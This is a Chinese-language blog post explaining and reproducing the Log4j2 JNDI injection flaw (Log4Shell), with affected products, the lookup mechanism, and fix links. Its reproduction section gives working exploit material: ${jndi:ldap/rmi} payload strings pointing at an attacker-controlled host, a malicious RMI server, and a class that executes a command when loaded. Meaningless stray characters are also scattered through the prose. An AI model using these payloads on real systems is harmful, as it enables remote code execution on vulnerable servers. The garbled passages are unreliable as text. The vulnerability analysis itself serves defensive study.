前言
被log4j2漏洞刷頻了躺枕,公司也是緊急修復了一波,現(xiàn)在來整個盤一下這個漏洞到底是什么原理供填!測試漏洞的人太多拐云,連dnslog很長一段時間都訪問不了,最后還用的ceye測試復現(xiàn)的近她。
影響版本
Apache Log4j 2.x<=2.15.0.rc1
影響范圍
Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
個人鏈接:log4j 2 漏洞原理及復現(xiàn) | Hackt0's Blog
復現(xiàn)過程
漏洞原理
最主要的漏洞成因就是下面這張圖了叉瘩,log4j2提供的lookup功能
日志中包含 ${}
,lookup功能就會將表達式的內容替換為表達式解析后的內容,而不是表達式本身粘捎。log4j 2將基本的解析都做了實現(xiàn):
比如常見的用戶登陸日志記錄
常見解析
${ctx:loginId} ${map:type} ${filename} ${date:MM-dd-yyyy} ${docker:containerId}${docker:containerName} ${docker:imageName} ${env:USER} ${event:Marker} ${mdc:UserId} ${java} ${jndi:logging/context-name} ${hostName} ${docker:containerId} ${k8s} ${log4j} ${main} ${name} ${marker} ${spring} ${sys:logPath} ${web:rootDir}
而其中的JNDI(Java Naming and Directory Interface)就是本次的主題了薇缅,就是提供一個目錄系統(tǒng),并將服務與對象關聯(lián)起來攒磨,可以使用名稱來訪問對象泳桦。而log4j 2中JNDI解析未作限制,可以直接訪問到遠程對象咧纠,如果是自己的服務器還好說蓬痒,那如果訪問到黑客的服務器呢泻骤?
也就是當記錄日志的一部分是用戶可控時漆羔,就可以構造惡意字符串使服務器記錄日志時調用JNDI訪問惡意對象,也就是流傳出的payload構成:
${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}
我們可以將上面日志記錄的代碼簡單修改一下狱掂,假設用戶名是從外部獲取的用戶輸入演痒,此時構建一個惡意用戶名${jndi:ladp://z2xcu7.dnslog.cn/exp}
,然后觸發(fā)日志記錄(可以借助DNSLog生成臨時域名用于查看測試是否生效)
可以看到趋惨,記錄日志時發(fā)起了JNDI解析鸟顺,訪問了DNS提供的域名并生成記錄
攻擊流程
其實JNDI通過SPI(Service Provider Interface)封裝了多個協(xié)議,包括LDAP、RMI讯嫂、DNS蹦锋、NIS、NDS欧芽、RMI莉掂、CORBA;
復現(xiàn)選擇了使用RMI服務千扔,搭建較為快速
攻擊思路(文章中使用的jdk1.8):
找到目標服務器記錄日志的地方憎妙,且記錄的部分內容可控
我們還是選擇之前的模擬日志記錄,假設站點會記錄用戶登陸日志曲楚,實際上大部分網站確實會做相關功能
搭建RMI服務端厘唾,包含需要執(zhí)行的惡意代碼
RMI服務端搭建,監(jiān)聽本地8888(自定義)端口龙誊,用Reference類引用惡意對象
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}
惡意對象模擬執(zhí)行cmd打開計算器抚垃,并且輸出一個語句用于標記執(zhí)行處
package server;
public class Log4jRCE {
static {
try {
System.out.println("exec in here");
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
執(zhí)行RMIServer,創(chuàng)建RMI服務
構建EXP觸發(fā)目標服務器進行日志記錄觸發(fā)JNDI解析
構建惡意用戶名模擬輸入趟大,執(zhí)行觸發(fā)惡意解析
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
String username = "${jndi:rmi://yourip:8888/exp}";
logger.error(username + "is login on ${java:os}");
}
}
解析結果定位到搭建的惡意服務端讯柔,目標服務器訪問并觸發(fā)惡意代碼
惡意代碼被執(zhí)行,注意看惡意代碼執(zhí)行記錄护昧,是在日志記錄的地方被執(zhí)行
其他信息
看看大佬們都干了啥
修復與檢測
可以通過${jndi
字串匹配是否受到攻擊
修復參考鏈接:
https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg
https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g
總結
目前已證實服務器易受到漏洞攻擊的公司包括蘋果魂迄、亞馬遜、特斯拉惋耙、谷歌捣炬、百度、騰訊绽榛、網易湿酸、京東、Twitter灭美、 Steam等推溃。據統(tǒng)計,共有6921個應用程序都有被攻擊的風險届腐,其中《我的世界》首輪即被波及铁坎。就連修改iPhone手機名稱都能觸發(fā),最主要的是這是國外黑客玩了幾個月玩膩了才公開的漏洞犁苏!
一個范圍廣的0day漏洞可能導致整個互聯(lián)網淪為肉雞或者癱瘓硬萍,網絡安全,任重而道遠围详。
不過早在11月24日朴乖,阿里云就監(jiān)測到了在野攻擊并給apache報告了,只是apache新出的版本只是攔截了ldap,其他協(xié)議依舊有效买羞。所以公開后很快被騰訊團隊測試可繞過袁勺,當天發(fā)出修復版本Log4j 2.15.0-rc2